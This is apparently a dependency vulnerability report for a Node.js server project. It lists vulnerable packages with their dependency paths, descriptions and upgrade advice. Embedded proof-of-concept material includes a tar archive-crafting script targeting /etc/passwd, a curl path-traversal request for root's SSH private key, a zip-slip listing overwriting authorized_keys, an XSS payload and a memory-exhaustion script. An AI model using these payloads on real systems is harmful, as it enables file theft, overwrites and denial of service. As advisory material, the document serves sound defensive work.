Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › i18n@0.8.1 › messageformat@0.3.1Remediation: Upgrade to sails@1.0.0.
Overview
messageformat is an Intl.MessageFormat / Unicode MessageFormat 2 parser, runtime and polyfill
Affected versions of this package are vulnerable to Prototype Pollution via improper handling of message key paths containing special characters in the process when processing nested message keys. An attacker can modify the JavaScript Object prototype by injecting properties into the global object prototype through specially crafted message input, potentially causing denial of service or other unintended behaviors.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Objectrecursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).
lodash and Hoek are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
| Type | Origin | Short description |
|---|---|---|
| Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
| Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
| Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype).Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)), breaking the prototype chain and preventing pollution.As a best practice use
Mapinstead ofObject.
For more information on this vulnerability type:
Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade messageformat to version 3.0.0-beta.0 or higher.
References
medium severity
- Vulnerable module: uuid
- Introduced through: enzyme@2.9.1, yarn@0.27.5 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › enzyme@2.9.1 › uuid@3.4.0Remediation: Upgrade to enzyme@3.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › uuid@3.4.0Remediation: Upgrade to yarn@0.28.1.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › request@2.88.2 › uuid@3.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › request@2.88.2 › uuid@3.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ghoulies@0.0.2 › jsdom@9.12.0 › request@2.88.2 › uuid@3.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › uuid@3.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › request@2.88.2 › uuid@3.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › request@2.88.2 › uuid@3.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › request@2.81.0 › uuid@3.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-less@1.3.0 › less@2.6.1 › request@2.88.2 › uuid@3.4.0
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › uuid@3.0.1Remediation: Upgrade to sails@1.1.0.
Overview
uuid is a RFC4122 (v1, v4, and v5) compliant UUID library.
Affected versions of this package are vulnerable to Improper Validation of Specified Index, Position, or Offset in Input due to accepting external output buffers but not rejecting out-of-range writes (small buf or large offset). This inconsistency allows silent partial writes into caller-provided buffers.
PoC
cd /home/StrawHat/uuid
npm ci
npm run build
node --input-type=module -e "
import {v4,v5,v6} from './dist-node/index.js';
const ns='6ba7b810-9dad-11d1-80b4-00c04fd430c8';
for (const [name,fn] of [
['v4',()=>v4({},new Uint8Array(8),4)],
['v5',()=>v5('x',ns,new Uint8Array(8),4)],
['v6',()=>v6({},new Uint8Array(8),4)],
]) {
try { fn(); console.log(name,'NO_THROW'); }
catch(e){ console.log(name,'THREW',e.name); }
}"
Remediation
Upgrade uuid to version 11.1.1, 14.0.0 or higher.
References
medium severity
- Vulnerable module: inflight
- Introduced through: babel-cli@6.26.0, rimraf@2.7.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › babel-cli@6.26.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › istanbul@0.4.5 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › glob@7.0.6 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-sync@0.5.2 › glob@4.5.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › mocha@3.5.3 › glob@7.1.1 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-clean@1.0.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › sass-graph@2.2.5 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › true-case-path@1.0.3 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › findup-sync@0.3.0 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › glob@7.0.6 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-sync@0.5.2 › glob@4.5.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › express-handlebars@3.0.0 › glob@6.0.4 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-clean@1.0.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › fs-extra@0.26.7 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › istanbul-lib-source-maps@1.2.6 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nyc@11.9.0 › spawn-wrap@1.4.3 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails-disk@0.10.10 › fs-extra@0.30.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › grunt-cli@1.2.0 › findup-sync@0.3.0 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-cli@1.2.0 › findup-sync@0.3.0 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › findup-sync@0.3.0 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt-contrib-watch@1.0.0 › gaze@1.1.3 › globule@1.3.4 › glob@7.1.7 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › gaze@1.1.3 › globule@1.3.4 › glob@7.1.7 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › i18n@0.8.1 › messageformat@0.3.1 › glob@6.0.4 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › prompt@0.2.14 › utile@0.2.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-disk@0.10.10 › fs-extra@0.30.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › grunt-cli@1.2.0 › findup-sync@0.3.0 › glob@5.0.15 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt-contrib-watch@1.0.0 › gaze@1.1.3 › globule@1.3.4 › glob@7.1.7 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › prompt@0.2.14 › utile@0.2.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › skipper@0.7.6 › skipper-disk@0.5.12 › fs-extra@0.30.0 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › fstream-ignore@1.0.5 › fstream@1.0.12 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › sails-hook-orm@1.0.9 › waterline@0.11.12 › prompt@0.2.14 › utile@0.2.1 › rimraf@2.7.1 › glob@7.2.3 › inflight@1.0.6
Overview
Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime via the makeres function due to improperly deleting keys from the reqs object after execution of callbacks. This behavior causes the keys to remain in the reqs object, which leads to resource exhaustion.
Exploiting this vulnerability results in crashing the node process or in the application crash.
Note: This library is not maintained, and currently, there is no fix for this issue. To overcome this vulnerability, several dependent packages have eliminated the use of this library.
To trigger the memory leak, an attacker would need to have the ability to execute or influence the asynchronous operations that use the inflight module within the application. This typically requires access to the internal workings of the server or application, which is not commonly exposed to remote users. Therefore, “Attack vector” is marked as “Local”.
PoC
const inflight = require('inflight');
function testInflight() {
let i = 0;
function scheduleNext() {
let key = `key-${i++}`;
const callback = () => {
};
for (let j = 0; j < 1000000; j++) {
inflight(key, callback);
}
setImmediate(scheduleNext);
}
if (i % 100 === 0) {
console.log(process.memoryUsage());
}
scheduleNext();
}
testInflight();
Remediation
There is no fixed version for inflight.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via processing of hardlinks. An attacker can read or overwrite arbitrary files on the file system by crafting a malicious TAR archive that bypasses path traversal protections during extraction.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.7 or higher.
References
medium severity
- Vulnerable module: yarn
- Introduced through: yarn@0.27.5
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › yarn@0.27.5Remediation: Upgrade to yarn@1.22.0.
Overview
yarn is a package for dependency management.
Affected versions of this package are vulnerable to Arbitrary File Overwrite. It is possible for a malicious package, upon install, to write to any path on the filesystem even when the --ignore-scripts option is set. This occurs due to symlinks not being correctly unpacked as part of the Yarn install process.
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade yarn to version 1.22.0 or higher.
References
medium severity
- Vulnerable module: tar
- Introduced through: node-sass@4.14.1 and nodegit@0.18.3
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › node-sass@4.14.1 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-gyp@3.8.0 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar@2.2.2
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › nodegit@0.18.3 › node-pre-gyp@0.6.39 › tar-pack@3.4.1 › tar@2.2.2
Overview
tar is a full-featured Tar for Node.js.
Affected versions of this package are vulnerable to Directory Traversal via insufficient sanitization of the linkpath parameter during archive extraction. An attacker can overwrite arbitrary files or create malicious symbolic links by crafting a tar archive with hardlink or symlink entries that resolve outside the intended extraction directory.
PoC
const fs = require('fs')
const path = require('path')
const tar = require('tar')
const out = path.resolve('out_repro')
const secret = path.resolve('secret.txt')
const tarFile = path.resolve('exploit.tar')
const targetSym = '/etc/passwd'
// Cleanup & Setup
try { fs.rmSync(out, {recursive:true, force:true}); fs.unlinkSync(secret) } catch {}
fs.mkdirSync(out)
fs.writeFileSync(secret, 'ORIGINAL_DATA')
// 1. Craft malicious Link header (Hardlink to absolute local file)
const h1 = new tar.Header({
path: 'exploit_hard',
type: 'Link',
size: 0,
linkpath: secret
})
h1.encode()
// 2. Craft malicious Symlink header (Symlink to /etc/passwd)
const h2 = new tar.Header({
path: 'exploit_sym',
type: 'SymbolicLink',
size: 0,
linkpath: targetSym
})
h2.encode()
// Write binary tar
fs.writeFileSync(tarFile, Buffer.concat([ h1.block, h2.block, Buffer.alloc(1024) ]))
console.log('[*] Extracting malicious tarball...')
// 3. Extract with default secure settings
tar.x({
cwd: out,
file: tarFile,
preservePaths: false
}).then(() => {
console.log('[*] Verifying payload...')
// Test Hardlink Overwrite
try {
fs.writeFileSync(path.join(out, 'exploit_hard'), 'OVERWRITTEN')
if (fs.readFileSync(secret, 'utf8') === 'OVERWRITTEN') {
console.log('[+] VULN CONFIRMED: Hardlink overwrite successful')
} else {
console.log('[-] Hardlink failed')
}
} catch (e) {}
// Test Symlink Poisoning
try {
if (fs.readlinkSync(path.join(out, 'exploit_sym')) === targetSym) {
console.log('[+] VULN CONFIRMED: Symlink points to absolute path')
} else {
console.log('[-] Symlink failed')
}
} catch (e) {}
})
Details
A Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with "dot-dot-slash (../)" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.
Directory Traversal vulnerabilities can be generally divided into two types:
- Information Disclosure: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.
st is a module for serving static files on web pages, and contains a vulnerability of this type. In our example, we will serve files from the public route.
If an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.
curl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa
Note %2e is the URL encoded version of . (dot).
- Writing arbitrary files: Allows the attacker to create or replace existing files. This type of vulnerability is also known as
Zip-Slip.
One way to achieve this is by using a malicious zip archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.
The following is an example of a zip archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in /root/.ssh/ overwriting the authorized_keys file:
2018-04-15 22:04:29 ..... 19 19 good.txt
2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys
Remediation
Upgrade tar to version 7.5.3 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs@2.3.4 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ejs@2.3.4Remediation: Upgrade to ejs@2.5.5.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs@2.3.4Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Cross-site Scripting by letting the attacker under certain conditions control and override the filename option causing it to render the value as is, without escaping it.
You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Denial of Service vulnerabilities caused by the same behaviour.
Details
ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template, data, and options:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the filename option, which will be rendered as is when an error occurs during rendering.
ejs.renderFile('my-template', {filename:'<script>alert(1)</script>'}, callback);
The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.
Disclosure Timeline
- November 28th, 2016 - Reported the issue to package owner.
- November 28th, 2016 - Issue acknowledged by package owner.
- December 06th, 2016 - Issue fixed and version
2.5.5released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface.
Otherwise, Upgrade ejs to version 2.5.5 or higher.
References
medium severity
- Vulnerable module: ejs
- Introduced through: ejs@2.3.4 and sails@0.12.14
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › ejs@2.3.4Remediation: Upgrade to ejs@2.5.5.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs@2.3.4Remediation: Upgrade to sails@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › ejs-locals@1.0.2 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Denial of Service by letting the attacker under certain conditions control and override the localNames option causing it to crash.
You can read more about this vulnerability on the Snyk blog.
There's also a Remote Code Execution & Cross-site Scripting vulnerabilities caused by the same behaviour.
Details
ejs provides a few different options for you to render a template, two being very similar: ejs.render() and ejs.renderFile(). The only difference being that render expects a string to be used for the template and renderFile expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template, data, and options:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template and data, while ejs lets the options be passed as part of the data:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs or equivalent), an attacker can control ejs options. This includes the localNames option, which will cause the renderer to crash.
ejs.renderFile('my-template', {localNames:'try'}, callback);
The fix introduced in version 2.5.3 blacklisted root options from options passed via the data object.
Disclosure Timeline
- November 28th, 2016 - Reported the issue to package owner.
- November 28th, 2016 - Issue acknowledged by package owner.
- December 06th, 2016 - Issue fixed and version
2.5.5released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard from the command-line interface.
Otherwise, Upgrade ejs to version 2.5.5 or higher.
References
medium severity
- Vulnerable module: js-yaml
- Introduced through: css-loader@0.25.0, grunt@1.0.1 and others
Detailed paths
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › css-loader@0.25.0 › cssnano@3.10.0 › postcss-svgo@2.1.6 › svgo@0.7.2 › js-yaml@3.7.0Remediation: Upgrade to css-loader@1.0.0.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › grunt@1.0.1 › js-yaml@3.5.5Remediation: Upgrade to grunt@1.0.4.
-
Introduced through: nebulis-analytics-server@NebulisAnalytics/nebulis-server › sails@0.12.14 › grunt@1.0.1 › js-yaml@3.5.5Remediation: Upgrade to sails@1.0.0.
Overview
js-yaml is a human-friendly data serialization language.
Affected versions of this package are vulnerable to Denial of Service (DoS). The parsing of a specially crafted YAML file may exhaust the system resources.
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
AThe string must start with the letter 'A'(B|C+)+The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+matches one or more times). The+at the end of this section states that we can look for one or more matches of this section.DFinally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD, ABCCCCD, ABCBCCCD and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
